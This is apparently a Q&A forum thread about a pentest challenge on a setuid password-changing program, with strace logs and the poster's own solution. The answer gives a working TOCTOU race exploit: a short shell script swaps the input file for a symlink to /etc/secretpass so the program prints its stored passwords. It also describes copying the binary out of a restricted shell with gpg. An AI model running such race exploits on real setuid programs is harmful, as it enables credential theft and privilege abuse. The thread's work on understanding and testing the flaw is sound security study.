1

I have to pentest a program "xchgpass" that acts like passwd. This "xchgpass" edits a file located at /etc/secretpass .

xchgpass has setuid bit set :

hacker@cours-info:~$ ls -l /usr/bin/xchgpass 
-rwsr-xr-x 1 level7 hackers 9992 Jan 18 08:22 /usr/bin/xchgpass

The secretpass contains login and password for an app. Below the permission of /etc/secretpass :

-rw------- 1 level7 hackers 59 Jan 18 08:19 /etc/secretpass

xchgpass reads a file given in arguments. The given file contains login and a new password for a user. If the login provided in the input file matches with a login in /etc/secretpass, then the password of the user in /etc/secretpass is updated.

The input file was formatted like that :

2
alice:azertyui
bob:qsdfghjk

The first line was the number of login to process and next line is the login with the new wanted password.

If I run strace on xchgpass, I have that :

execve("/usr/bin/xchgpass", ["/usr/bin/xchgpass", "/dev/null"], [/* 19 vars */]) = 0
brk(0)                                  = 0x15be000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd84000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=7012, ...}) = 0
mmap(NULL, 7012, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7faf0fd82000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\34\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1738176, ...}) = 0
mmap(NULL, 3844640, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7faf0f7bb000
mprotect(0x7faf0f95c000, 2097152, PROT_NONE) = 0
mmap(0x7faf0fb5c000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a1000) = 0x7faf0fb5c000
mmap(0x7faf0fb62000, 14880, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7faf0fb62000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd81000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd80000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd7f000
arch_prctl(ARCH_SET_FS, 0x7faf0fd80700) = 0
mprotect(0x7faf0fb5c000, 16384, PROT_READ) = 0
mprotect(0x7faf0fd86000, 4096, PROT_READ) = 0
munmap(0x7faf0fd82000, 7012)            = 0
geteuid()                               = 1000
getuid()                                = 1000
brk(0)                                  = 0x15be000
brk(0x15df000)                          = 0x15df000
setresuid(-1, 1000, -1)                 = 0
open("/dev/null", O_RDONLY)             = 3
fstat(3, {st_mode=S_IFCHR|0666, st_rdev=makedev(1, 3), ...}) = 0
ioctl(3, SNDCTL_TMR_TIMEBASE or SNDRV_TIMER_IOCTL_NEXT_DEVICE or TCGETS, 0x7ffe2b7e0ef0) = -1 ENOTTY (Inappropriate ioctl for device)
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd83000
read(3, "", 4096)                       = 0
close(3)                                = 0
munmap(0x7faf0fd83000, 4096)            = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd83000
write(1, "number of logins to change: 0\n", 30number of logins to change: 0
) = 30
fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd82000
write(1, "proceed [y/n] ?", 15proceed [y/n] ?)         = 15
read(0, y
"y\n", 1024)                    = 2
setresuid(-1, 1000, -1)                 = 0
open("/etc/secretpass", O_RDONLY)       = -1 EACCES (Permission denied)
dup(2)                                  = 3
fcntl(3, F_GETFL)                       = 0x8002 (flags O_RDWR|O_LARGEFILE)
fstat(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faf0fd7e000
lseek(3, 0, SEEK_CUR)                   = -1 ESPIPE (Illegal seek)
write(3, "cannot open secret file: : Permi"..., 45cannot open secret file: : Permission denied
) = 45
close(3)                                = 0
munmap(0x7faf0fd7e000, 4096)            = 0
exit_group(1)                           = ?
+++ exited with 1 +++

I think a race condition could allow me to read the secret file. But I can't create a hard link.

Have you any ideas how to exploit my application ?

EDIT 1 : Full strace :

execve("./xchgpass", ["./xchgpass", "e"], [/* 22 vars */]) = 0
brk(NULL)                               = 0x1310000
fcntl(0, F_GETFD)                       = 0
fcntl(1, F_GETFD)                       = 0
fcntl(2, F_GETFD)                       = 0
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd6204000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=135186, ...}) = 0
mmap(NULL, 135186, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f3bd61e2000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\tb\2000\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1870352, ...}) = 0
mmap(0x3080600000, 3967392, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x3080600000
mprotect(0x30807bf000, 2097152, PROT_NONE) = 0
mmap(0x30809bf000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1bf000) = 0x30809bf000
mmap(0x30809c5000, 14752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x30809c5000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61e1000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61e0000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3bd61df000
arch_prctl(ARCH_SET_FS, 0x7f3bd61e0700) = 0
mprotect(0x30809bf000, 16384, PROT_READ) = 0
mprotect(0x3080425000, 4096, PROT_READ) = 0
munmap(0x7f3bd61e2000, 135186)          = 0
geteuid()                               = 1000
getuid()                                = 0
brk(NULL)                               = 0x1310000
brk(0x1331000)                          = 0x1331000
setresuid(-1, 0, -1)                    = 0
open("e", O_RDONLY)                     = 3
fstat(3, {st_mode=S_IFREG|0664, st_size=7, ...}) = 0
read(3, "1\ned:d\n", 4096)              = 7
close(3)                                = 0
fstat(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 4), ...}) = 0
write(1, "number of logins to change: 1\n", 30number of logins to change: 1
) = 30
fstat(0, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 4), ...}) = 0
write(1, "proceed [y/n] ?", 15proceed [y/n] ?)         = 15
read(0, y
"y\n", 1024)                    = 2
setresuid(-1, 1000, -1)                 = 0
open("/etc/secretpass", O_RDONLY)       = 3
open("e", O_RDONLY)                     = 4
fstat(4, {st_mode=S_IFREG|0664, st_size=7, ...}) = 0
read(4, "1\ned:d\n", 4096)              = 7
fstat(3, {st_mode=S_IFREG|0600, st_size=7, ...}) = 0
read(3, "1\ned:2\n", 4096)              = 7
write(1, "user ed: changed password to d\n", 31user ed: changed password to d
) = 31
read(3, "", 4096)                       = 0
lseek(3, 0, SEEK_SET)                   = 0
lseek(0, -1, SEEK_CUR)                  = -1 ESPIPE (Illegal seek)
exit_group(0)                           = ?
+++ exited with 0 +++
McKay1717
  • 31
  • 5
  • Why don't you ask this on the forum where you got this challenge? They are more likely to know what to exploit where and give you hints. – Rápli András Jan 20 '17 at 13:17
  • 1
    Because, i'm the only one to reach to this problem and I can't ask for any other info – McKay1717 Jan 20 '17 at 13:34
  • Okay. I'd take a buffer overflow-ish approach. What do you think about editing libc.so and try to jump over the uid restriction code part? – Rápli András Jan 20 '17 at 13:45
  • That could be a good idea but libc is own by root and not writable by my user. I have juste have one clue "To pass something for another". – McKay1717 Jan 20 '17 at 14:00

1 Answers1

2

I have finaly found: In strace, we can see, the soft open the input file with the current user perm :

setresuid(-1, 1000, -1)                 = 0
open("/dev/null", O_RDONLY)             = 3

The hack env have a restricted shell and hasn't any tools to download or upload files ou do hard link. But gpg is allowed, so i have use gpg to convert the binary of the soft to ascii. Then i have copy and paste the ascii in a local Virtual Machine with a full root acces. I have reproduced the soft env with my knowlege. So I finaly do new strace and foud the syscall excuted after the setuid. In that strace we can see:

setresuid(-1, 1000, -1)                 = 0
open("/etc/secretpass", O_RDONLY)       = 3
open("e", O_RDONLY)                     = 4

The file is read again with setuid perm after waiting input from user. So i could replace the input file with a symbolic link. Because if the login exist in the secret file then it will be display in standard output with the new password. So I have write a little shell script to replace the input file during the execution of the soft.

echo "sleep 10; rm secretpass; ln -s /etc/secretpass" > sh
sh -x sh &
/usr/bin/xchgpass secretpass

Finaly we could see with this race condition all the password stored in the secret file.

McKay1717
  • 31
  • 5
  • @CaffeineAddiction I'm not sure to understand you, Do you want more explain about this exploit ? – McKay1717 Jan 21 '17 at 16:29
  • @CaffeineAddiction I have add some stuff to explain the exploit. And i can't mark my answer as a correct answer. I could do that in 20 hours. – McKay1717 Jan 21 '17 at 16:56